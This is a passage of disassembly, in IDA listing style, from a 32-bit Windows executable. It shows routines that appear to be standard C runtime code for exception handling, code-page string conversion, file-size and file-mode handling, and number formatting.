		jz	loc_41A31C
		mov	[ebp+2A8h+var_220], eax
		mov	[ebp+2A8h+var_224], ecx
		mov	[ebp+2A8h+var_228], edx
		mov	[ebp+2A8h+var_22C], ebx
		mov	[ebp+2A8h+var_230], esi
		mov	[ebp+2A8h+var_234], edi
		mov	[ebp+2A8h+var_208], ss
		mov	[ebp+2A8h+var_214], cs
		mov	[ebp+2A8h+var_238], ds
		mov	[ebp+2A8h+var_23C], es
		mov	[ebp+2A8h+var_240], fs
		mov	[ebp+2A8h+var_244], gs
		pushf
		pop	[ebp+2A8h+var_210]
		mov	esi, [ebp+2ACh]
		lea	eax, [ebp+2ACh]
		mov	[ebp+2A8h+var_20C], eax
		mov	[ebp+2A8h+var_2D0], 10001h
		mov	[ebp+2A8h+var_218], esi
		mov	eax, [eax-4]
		push	50h
		mov	[ebp+2A8h+var_21C], eax
		lea	eax, [ebp+2A8h+var_328]
		push	0
		push	eax
		call	sub_40CBA0
		lea	eax, [ebp+2A8h+var_328]
		add	esp, 0Ch
		mov	[ebp+2A8h+var_2D8], eax
		lea	eax, [ebp+2A8h+var_2D0]
		push	0
		mov	[ebp+2A8h+var_328], 40000015h
		mov	[ebp+2A8h+var_31C], esi
		mov	[ebp+2A8h+var_2D4], eax
		call	ds:dword_41E1B0	; SetUnhandledExceptionFilter
		lea	eax, [ebp+2A8h+var_2D8]
		push	eax
		call	ds:off_41E1BC

loc_41A31C:				; CODE XREF: sub_41A231+45j
		push	3
		call	sub_41223A
		int	3		; Trap to Debugger
sub_41A231	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A324	proc near		; CODE XREF: sub_416217+25Ap
					; sub_4165FC+150p

var_C		= byte ptr -0Ch
var_6		= byte ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	6
		lea	eax, [ebp+var_C]
		push	eax
		push	1004h
		push	[ebp+arg_0]
		mov	[ebp+var_6], 0
		call	ds:off_41E050
		test	eax, eax
		jnz	short loc_41A355
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A35F
; ---------------------------------------------------------------------------

loc_41A355:				; CODE XREF: sub_41A324+2Aj
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_40E314
		pop	ecx

loc_41A35F:				; CODE XREF: sub_41A324+2Fj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AFEE
		leave
		retn
sub_41A324	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A36B	proc near		; CODE XREF: sub_416217+285p
					; sub_416217+336p ...

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_10]
		mov	[ebp+var_28], eax
		mov	eax, [ebp+arg_C]
		push	ebx
		mov	[ebp+var_30], eax
		mov	eax, [eax]
		push	esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_0]
		push	edi
		xor	edi, edi
		cmp	eax, [ebp+arg_4]
		mov	[ebp+var_34], ecx
		mov	[ebp+var_20], edi
		mov	[ebp+var_2C], edi
		jz	loc_41A508
		mov	esi, ds:dword_41E198
		lea	ecx, [ebp+var_18]
		push	ecx
		push	eax
		call	esi	; GetCPInfo
		test	eax, eax
		mov	ebx, ds:dword_41E0A0
		jz	short loc_41A41E
		cmp	[ebp+var_18], 1
		jnz	short loc_41A41E
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_4]
		call	esi	; GetCPInfo
		test	eax, eax
		jz	short loc_41A41E
		cmp	[ebp+var_18], 1
		jnz	short loc_41A41E
		mov	esi, [ebp+var_24]
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+var_2C], 1
		jnz	short loc_41A3F4
		push	[ebp+var_28]
		call	sub_40C9B0
		mov	esi, eax
		pop	ecx
		inc	esi

loc_41A3F4:				; CODE XREF: sub_41A36B+7Bj
		cmp	esi, edi

loc_41A3F6:				; CODE XREF: sub_41A36B+C6j
		jle	short loc_41A453
		cmp	esi, 7FFFFFF0h
		ja	short loc_41A453
		lea	eax, [esi+esi+8]
		cmp	eax, 400h
		ja	short loc_41A43A
		call	sub_41A520
		mov	eax, esp
		cmp	eax, edi
		jz	short loc_41A44E
		mov	dword ptr [eax], 0CCCCh
		jmp	short loc_41A44B
; ---------------------------------------------------------------------------

loc_41A41E:				; CODE XREF: sub_41A36B+53j
					; sub_41A36B+59j ...
		push	edi
		push	edi
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		mov	esi, eax
		cmp	esi, edi
		jnz	short loc_41A3F6

loc_41A433:				; CODE XREF: sub_41A36B+EEj
		xor	eax, eax
		jmp	loc_41A50B
; ---------------------------------------------------------------------------

loc_41A43A:				; CODE XREF: sub_41A36B+9Ej
		push	eax
		call	sub_40DC83
		cmp	eax, edi
		pop	ecx
		jz	short loc_41A44E
		mov	dword ptr [eax], 0DDDDh

loc_41A44B:				; CODE XREF: sub_41A36B+B1j
		add	eax, 8

loc_41A44E:				; CODE XREF: sub_41A36B+A9j
					; sub_41A36B+D8j
		mov	[ebp+var_1C], eax
		jmp	short loc_41A456
; ---------------------------------------------------------------------------

loc_41A453:				; CODE XREF: sub_41A36B:loc_41A3F6j
					; sub_41A36B+93j
		mov	[ebp+var_1C], edi

loc_41A456:				; CODE XREF: sub_41A36B+E6j
		cmp	[ebp+var_1C], edi
		jz	short loc_41A433
		lea	eax, [esi+esi]
		push	eax
		push	edi
		push	[ebp+var_1C]
		call	sub_40CBA0
		add	esp, 0Ch
		push	esi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+var_28]
		push	1
		push	[ebp+arg_0]
		call	ebx	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41A4FF
		mov	ebx, [ebp+var_34]
		cmp	ebx, edi
		jz	short loc_41A4A4
		push	edi
		push	edi
		push	[ebp+arg_14]
		push	ebx
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ds:dword_41E138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41A4FF
		mov	[ebp+var_20], ebx
		jmp	short loc_41A4FF
; ---------------------------------------------------------------------------

loc_41A4A4:				; CODE XREF: sub_41A36B+11Aj
		cmp	[ebp+var_2C], edi
		mov	ebx, ds:dword_41E138
		jnz	short loc_41A4C3
		push	edi
		push	edi
		push	edi
		push	edi
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41A4FF

loc_41A4C3:				; CODE XREF: sub_41A36B+142j
		push	esi
		push	1
		call	sub_411ECA
		cmp	eax, edi
		pop	ecx
		pop	ecx
		mov	[ebp+var_20], eax
		jz	short loc_41A4FF
		push	edi
		push	edi
		push	esi
		push	eax
		push	esi
		push	[ebp+var_1C]
		push	edi
		push	[ebp+arg_4]
		call	ebx	; WideCharToMultiByte
		cmp	eax, edi
		jnz	short loc_41A4F4
		push	[ebp+var_20]
		call	sub_40DBA6
		pop	ecx
		mov	[ebp+var_20], edi
		jmp	short loc_41A4FF
; ---------------------------------------------------------------------------

loc_41A4F4:				; CODE XREF: sub_41A36B+179j
		cmp	[ebp+var_24], 0FFFFFFFFh
		jz	short loc_41A4FF
		mov	ecx, [ebp+var_30]
		mov	[ecx], eax

loc_41A4FF:				; CODE XREF: sub_41A36B+113j
					; sub_41A36B+132j ...
		push	[ebp+var_1C]
		call	sub_4161FC
		pop	ecx

loc_41A508:				; CODE XREF: sub_41A36B+38j
		mov	eax, [ebp+var_20]

loc_41A50B:				; CODE XREF: sub_41A36B+CAj
		lea	esp, [ebp-40h]
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AFEE
		leave
		retn
sub_41A36B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41A520	proc near		; CODE XREF: sub_416217+F3p
					; sub_416217+1B1p ...

arg_0		= byte ptr  4

		push	ecx
		lea	ecx, [esp+4+arg_0]
		sub	ecx, eax
		and	ecx, 0Fh
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_41B470
sub_41A520	endp

; ---------------------------------------------------------------------------
		push	ecx
		lea	ecx, [esp+8]
		sub	ecx, eax
		and	ecx, 7
		add	eax, ecx
		sbb	ecx, ecx
		or	eax, ecx
		pop	ecx
		jmp	sub_41B470

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A54C	proc near		; CODE XREF: sub_41711A+2A1p
					; sub_41711A+2C1p

var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_423068
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	esi
		xor	esi, esi
		cmp	dword_4241F8, esi
		jz	short loc_41A5B5
		cmp	dword_424204, 0FFFFFFFEh
		jnz	short loc_41A575
		call	sub_41B49B

loc_41A575:				; CODE XREF: sub_41A54C+22j
		mov	eax, dword_424204
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A585

loc_41A57F:				; CODE XREF: sub_41A54C+56j
					; sub_41A54C+61j ...
		or	ax, 0FFFFh
		jmp	short loc_41A5F5
; ---------------------------------------------------------------------------

loc_41A585:				; CODE XREF: sub_41A54C+31j
		push	esi
		lea	ecx, [ebp+var_10]
		push	ecx
		push	1
		lea	ecx, [ebp+arg_0]
		push	ecx
		push	eax
		call	ds:off_41E0AC
		test	eax, eax
		jnz	short loc_41A602
		cmp	dword_4241F8, 2
		jnz	short loc_41A57F
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41A57F
		mov	dword_4241F8, esi

loc_41A5B5:				; CODE XREF: sub_41A54C+19j
		push	esi
		push	esi
		push	5
		lea	eax, [ebp+var_C]
		push	eax
		push	1
		lea	eax, [ebp+arg_0]
		push	eax
		push	esi
		call	ds:off_41E0B0
		push	eax
		call	ds:dword_41E138	; WideCharToMultiByte
		mov	ecx, dword_424204
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41A57F
		push	esi
		lea	edx, [ebp+var_10]
		push	edx
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	ecx
		call	ds:off_41E0B4
		test	eax, eax
		jz	short loc_41A57F

loc_41A5F1:				; CODE XREF: sub_41A54C+C0j
		mov	ax, [ebp+arg_0]

loc_41A5F5:				; CODE XREF: sub_41A54C+37j
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		pop	esi
		call	sub_40AFEE
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A602:				; CODE XREF: sub_41A54C+4Dj
		mov	dword_4241F8, 1
		jmp	short loc_41A5F1
sub_41A54C	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_411FAD
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A617	proc near		; CODE XREF: sub_41819F+36Fp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	1
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		call	sub_416F7E
		mov	[ebp+var_18], eax
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_14], edx
		jz	short loc_41A69D
		push	2
		push	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_416F7E
		mov	ecx, eax
		and	ecx, edx
		add	esp, 10h
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41A69D
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_8]
		sub	esi, eax
		sbb	edi, edx
		js	loc_41A732
		jg	short loc_41A676
		cmp	esi, ebx
		jbe	loc_41A732

loc_41A676:				; CODE XREF: sub_41A617+55j
		mov	ebx, 1000h
		push	ebx
		push	8
		call	ds:dword_41E100	; GetProcessHeap
		push	eax
		call	ds:dword_41E114	; RtlAllocateHeap
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_41A6A9
		call	sub_40FCB4
		mov	dword ptr [eax], 0Ch

loc_41A69D:				; CODE XREF: sub_41A617+2Bj
					; sub_41A617+43j ...
		call	sub_40FCB4
		mov	eax, [eax]

loc_41A6A4:				; CODE XREF: sub_41A617+1AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41A6A9:				; CODE XREF: sub_41A617+79j
		push	8000h
		push	[ebp+arg_0]
		call	sub_41A83D
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax

loc_41A6BB:				; CODE XREF: sub_41A617+CFj
					; sub_41A617+D3j
		test	edi, edi
		jl	short loc_41A6C9
		jg	short loc_41A6C5
		cmp	esi, ebx
		jb	short loc_41A6C9

loc_41A6C5:				; CODE XREF: sub_41A617+A8j
		mov	eax, ebx
		jmp	short loc_41A6CB
; ---------------------------------------------------------------------------

loc_41A6C9:				; CODE XREF: sub_41A617+A6j
					; sub_41A617+ACj
		mov	eax, esi

loc_41A6CB:				; CODE XREF: sub_41A617+B0j
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_41711A
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A715
		cdq
		sub	esi, eax
		sbb	edi, edx
		js	short loc_41A6EC
		jg	short loc_41A6BB
		test	esi, esi
		ja	short loc_41A6BB

loc_41A6EC:				; CODE XREF: sub_41A617+CDj
		mov	esi, [ebp+var_10]

loc_41A6EF:				; CODE XREF: sub_41A617+119j
		push	[ebp+var_8]
		push	[ebp+arg_0]
		call	sub_41A83D
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		push	0
		call	ds:dword_41E100	; GetProcessHeap
		push	eax
		call	ds:dword_41E10C	; RtlFreeHeap
		xor	ebx, ebx
		jmp	loc_41A79B
; ---------------------------------------------------------------------------

loc_41A715:				; CODE XREF: sub_41A617+C6j
		call	sub_40FCC7
		cmp	dword ptr [eax], 5
		jnz	short loc_41A72A
		call	sub_40FCB4
		mov	dword ptr [eax], 0Dh

loc_41A72A:				; CODE XREF: sub_41A617+106j
		or	esi, 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41A6EF
; ---------------------------------------------------------------------------

loc_41A732:				; CODE XREF: sub_41A617+4Fj
					; sub_41A617+59j
		cmp	edi, ebx
		jg	short loc_41A7A7
		jl	short loc_41A73C
		cmp	esi, ebx
		jnb	short loc_41A7A7

loc_41A73C:				; CODE XREF: sub_41A617+11Fj
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416F7E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A69D
		push	[ebp+arg_0]
		call	sub_418EA9
		pop	ecx
		push	eax
		call	ds:off_41E0A8
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		cdq
		mov	[ebp+var_10], eax
		and	eax, edx
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], edx
		jnz	short loc_41A7A7
		call	sub_40FCB4
		mov	dword ptr [eax], 0Dh
		call	sub_40FCC7
		mov	esi, eax
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		mov	[esi], eax
		mov	esi, [ebp+var_10]

loc_41A79B:				; CODE XREF: sub_41A617+F9j
		and	esi, [ebp+var_C]
		cmp	esi, 0FFFFFFFFh
		jz	loc_41A69D

loc_41A7A7:				; CODE XREF: sub_41A617+11Dj
					; sub_41A617+123j ...
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	sub_416F7E
		and	eax, edx
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A69D
		xor	eax, eax
		jmp	loc_41A6A4
sub_41A617	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A7CB	proc near		; CODE XREF: sub_41819F+322p
					; sub_41819F+37Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		call	sub_418EA9
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41A7EC
		call	sub_40FCB4
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A7EC:				; CODE XREF: sub_41A7CB+Fj
		push	edi
		push	[esp+8+arg_8]
		push	0
		push	[esp+10h+arg_4]
		push	eax
		call	ds:off_41E074
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_41A80D
		call	ds:dword_41E0F4	; RtlGetLastWin32Error
		jmp	short loc_41A80F
; ---------------------------------------------------------------------------

loc_41A80D:				; CODE XREF: sub_41A7CB+38j
		xor	eax, eax

loc_41A80F:				; CODE XREF: sub_41A7CB+40j
		test	eax, eax
		jz	short loc_41A81F
		push	eax
		call	sub_40FCDA
		pop	ecx
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A83A
; ---------------------------------------------------------------------------

loc_41A81F:				; CODE XREF: sub_41A7CB+46j
		mov	eax, esi
		and	esi, 1Fh
		imul	esi, 28h
		sar	eax, 5
		mov	eax, dword_433CE0[eax*4]
		lea	eax, [eax+esi+4]
		and	byte ptr [eax],	0FDh
		mov	eax, edi

loc_41A83A:				; CODE XREF: sub_41A7CB+52j
		pop	edi
		pop	esi
		retn
sub_41A7CB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A83D	proc near		; CODE XREF: sub_41A617+9Ap
					; sub_41A617+DEp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, edx
		sar	eax, 5
		and	edx, 1Fh
		imul	edx, 28h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		lea	esi, ds:433CE0h[eax*4]
		mov	eax, [esi]
		lea	ecx, [eax+edx]
		movzx	eax, byte ptr [ecx+4]
		and	eax, 80h
		mov	[ebp+arg_0], eax
		mov	al, [ecx+24h]
		add	al, al
		movsx	eax, al
		push	edi
		mov	edi, 4000h
		sar	eax, 1
		cmp	ebx, edi
		jz	short loc_41A8CF
		cmp	ebx, 8000h
		jz	short loc_41A8C9
		cmp	ebx, 10000h
		jz	short loc_41A8B5
		cmp	ebx, 20000h
		jz	short loc_41A8B5
		cmp	ebx, 40000h
		jnz	short loc_41A8DC
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 81h
		or	dl, 1

loc_41A8B1:				; CODE XREF: sub_41A83D+8Aj
		mov	[ecx], dl
		jmp	short loc_41A8DC
; ---------------------------------------------------------------------------

loc_41A8B5:				; CODE XREF: sub_41A83D+50j
					; sub_41A83D+58j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		mov	dl, [ecx]
		and	dl, 82h
		or	dl, 2
		jmp	short loc_41A8B1
; ---------------------------------------------------------------------------

loc_41A8C9:				; CODE XREF: sub_41A83D+48j
		and	byte ptr [ecx+4], 7Fh
		jmp	short loc_41A8DC
; ---------------------------------------------------------------------------

loc_41A8CF:				; CODE XREF: sub_41A83D+40j
		or	byte ptr [ecx+4], 80h
		mov	ecx, [esi]
		lea	ecx, [ecx+edx+24h]
		and	byte ptr [ecx],	80h

loc_41A8DC:				; CODE XREF: sub_41A83D+60j
					; sub_41A83D+76j ...
		cmp	[ebp+arg_0], 0
		jnz	short loc_41A8E9
		mov	eax, 8000h
		jmp	short loc_41A8F4
; ---------------------------------------------------------------------------

loc_41A8E9:				; CODE XREF: sub_41A83D+A3j
		neg	eax
		sbb	eax, eax
		and	eax, 0C000h
		add	eax, edi

loc_41A8F4:				; CODE XREF: sub_41A83D+AAj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41A83D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A8F9	proc near		; CODE XREF: sub_41819F+40p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, esi
		jnz	short loc_41A921
		call	sub_40FCB4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		call	sub_40D31E
		add	esp, 14h
		push	16h
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_41A921:				; CODE XREF: sub_41A8F9+9j
		mov	ecx, dword_4265C0
		mov	[eax], ecx
		xor	eax, eax
		pop	esi
		retn
sub_41A8F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A92D	proc near		; CODE XREF: sub_41AAA8+6p
					; DATA XREF: sub_41983C+55o ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	esi, [ebp+arg_0]
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40FC52
		cmp	eax, 65h
		jmp	short loc_41A95C
; ---------------------------------------------------------------------------

loc_41A950:				; CODE XREF: sub_41A92D+30j
		inc	esi
		movzx	eax, byte ptr [esi]
		push	eax
		call	sub_4192AB
		test	eax, eax

loc_41A95C:				; CODE XREF: sub_41A92D+21j
		pop	ecx
		jnz	short loc_41A950
		movsx	eax, byte ptr [esi]
		push	eax
		call	sub_40FC52
		cmp	eax, 78h
		pop	ecx
		jnz	short loc_41A970
		inc	esi
		inc	esi

loc_41A970:				; CODE XREF: sub_41A92D+3Fj
		mov	ecx, [ebp+var_10]
		mov	ecx, [ecx+0BCh]
		mov	ecx, [ecx]
		mov	al, [esi]
		mov	cl, [ecx]
		mov	[esi], cl
		inc	esi

loc_41A982:				; CODE XREF: sub_41A92D+60j
		mov	cl, [esi]
		mov	[esi], al
		mov	al, cl
		mov	cl, [esi]
		inc	esi
		test	cl, cl
		jnz	short loc_41A982
		cmp	[ebp+var_4], cl
		pop	esi
		jz	short locret_41A99C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_41A99C:				; CODE XREF: sub_41A92D+66j
		leave
		retn
sub_41A92D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A99E	proc near		; CODE XREF: sub_41AAB6+6p
					; DATA XREF: sub_41983C+4Bo ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	[ebp+arg_4]
		lea	ecx, [ebp+var_10]
		call	sub_40AFFD
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		test	cl, cl
		mov	esi, [ebp+var_10]
		jz	short loc_41A9D1
		mov	edx, [esi+0BCh]
		mov	edx, [edx]
		mov	dl, [edx]

loc_41A9C6:				; CODE XREF: sub_41A99E+31j
		cmp	cl, dl
		jz	short loc_41A9D1
		inc	eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41A9C6

loc_41A9D1:				; CODE XREF: sub_41A99E+1Cj
					; sub_41A99E+2Aj
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jz	short loc_41AA0E
		jmp	short loc_41A9E5
; ---------------------------------------------------------------------------

loc_41A9DA:				; CODE XREF: sub_41A99E+4Bj
		cmp	cl, 65h
		jz	short loc_41A9EB
		cmp	cl, 45h
		jz	short loc_41A9EB
		inc	eax

loc_41A9E5:				; CODE XREF: sub_41A99E+3Aj
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_41A9DA

loc_41A9EB:				; CODE XREF: sub_41A99E+3Fj
					; sub_41A99E+44j
		mov	edx, eax

loc_41A9ED:				; CODE XREF: sub_41A99E+53j
		dec	eax
		cmp	byte ptr [eax],	30h
		jz	short loc_41A9ED
		mov	ecx, [esi+0BCh]
		mov	ecx, [ecx]
		push	ebx
		mov	bl, [eax]
		cmp	bl, [ecx]
		pop	ebx
		jnz	short loc_41AA04
		dec	eax

loc_41AA04:				; CODE XREF: sub_41A99E+63j
					; sub_41A99E+6Ej
		mov	cl, [edx]
		inc	eax
		inc	edx
		test	cl, cl
		mov	[eax], cl
		jnz	short loc_41AA04

loc_41AA0E:				; CODE XREF: sub_41A99E+38j
		cmp	[ebp+var_4], 0
		pop	esi
		jz	short locret_41AA1C
		mov	eax, [ebp+var_8]
		and	dword ptr [eax+70h], 0FFFFFFFDh

locret_41AA1C:				; CODE XREF: sub_41A99E+75j
		leave
		retn
sub_41A99E	endp

; ---------------------------------------------------------------------------
word_41AA1E	dw 0EED9h		; DATA XREF: sub_41983C+28o
					; .data:off_423F70o
		dd 424448Bh, 0E0DF18DCh, 7A41C4F6h, 40C03304h, 0C3C033C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA34	proc near		; CODE XREF: sub_41AA74+Ep
					; DATA XREF: sub_41983C+41o ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_0], 0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		jz	short loc_41AA5E
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41B51D
		mov	ecx, [ebp+var_8]
		mov	eax, [ebp+arg_4]
		mov	[eax], ecx
		mov	ecx, [ebp+var_4]
		mov	[eax+4], ecx
		jmp	short loc_41AA6F
; ---------------------------------------------------------------------------

loc_41AA5E:				; CODE XREF: sub_41AA34+Fj
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41B5C3
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx

loc_41AA6F:				; CODE XREF: sub_41AA34+28j
		add	esp, 0Ch
		leave
		retn
sub_41AA34	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA74	proc near		; DATA XREF: sub_41983C+14o
					; .data:off_423F68o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	0
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41AA34
		add	esp, 10h
		retn
sub_41AA74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA8B	proc near		; CODE XREF: sub_41AAC4+88p
					; sub_41B08E+8Ap ...
		test	edi, edi
		push	esi
		mov	esi, eax
		jz	short loc_41AAA6
		push	esi
		call	sub_40C9B0
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_411AC0
		add	esp, 10h

loc_41AAA6:				; CODE XREF: sub_41AA8B+5j
		pop	esi
		retn
sub_41AA8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AAA8	proc near		; DATA XREF: sub_41983C+1Eo
					; .data:off_423F6Co

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41A92D
		pop	ecx
		pop	ecx
		retn
sub_41AAA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AAB6	proc near		; DATA XREF: sub_41983C+Ao
					; .data:off_423F64o

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_41A99E
		pop	ecx
		pop	ecx
		retn
sub_41AAB6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AAC4	proc near		; CODE XREF: sub_41AC31+B7p
					; sub_41B23C+E1p

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_14]
		lea	ecx, [ebp+var_10]
		mov	ebx, eax
		call	sub_40AFFD
		xor	esi, esi
		cmp	ebx, esi
		jnz	short loc_41AB0B

loc_41AAE0:				; CODE XREF: sub_41AAC4+4Aj
		call	sub_40FCB4
		push	16h

